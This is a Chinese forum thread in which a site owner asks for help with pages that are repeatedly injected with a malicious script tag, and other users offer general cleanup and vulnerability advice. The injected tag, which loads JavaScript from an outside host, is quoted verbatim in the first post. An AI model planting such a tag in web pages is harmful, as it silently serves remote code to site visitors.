网页被挂马！求救高手！

[hf_ly]

网页被挂马了，只要文件名包含index ，conn，top,default的页面尾部都有 <script language="javascript" src="http://conn.ch.ma/click.js?id=15&evx=52591"> </script>这个语句，删除掉了重新挂上去又有了，高手帮忙看下怎么解决这个问题。

[紫郢剑侠]

查杀病毒

检查开机启动项和服务

[hf_ly]

没人回复么？
自己顶下！

[sea373]

Windows 清理助手

超级兔子 清理流氓软件

不行 只能手动修改注册表

再不行 重装系统了啊

[tt2451]

重装应用服务器,更改应用服务器目录.

[hf_ly]

没用，重装过，在网上挂段时间又出现了！小弟要的彻底解决问题的方法
谢谢！~

[hf_ly]

全部都用过了，查病毒的、木马的，能用的软件全部都试过了，什么查不出来，每次进去被挂马的网站就是提示安装Office。

[hf_ly]

ARP病毒？？上网查了下资料，应该没可能中这个的！

[Queen_L]

主要是网站程序漏洞所致，如果找不到原因，你可以在防火墙上做一个特殊字符过滤的策略。

[mnm326]

这个是严重的程序漏洞导致的,解决这个问题的根本还需要去查找自己程序的漏洞!

[hf_ly]

貌似很多病毒、木马都是通过程序漏洞来入侵网站后台的，楼上的你说的这个漏洞范围太广了点，能说具体点么？

[ckane]

学习了啊.

[紫郢剑侠]

>>删除掉了重新挂上去又有了

也可能是ARP病毒加的

[hf_ly]

在防火墙上设置一个过滤特殊字符的策略？这个还没试过，我先试下看！

[heyisheng]

很明显是网站被入侵了，所需要安全技术服务请联系EMAIL & MSN：[e-mail]， 7X24 为您的网站保驾护航。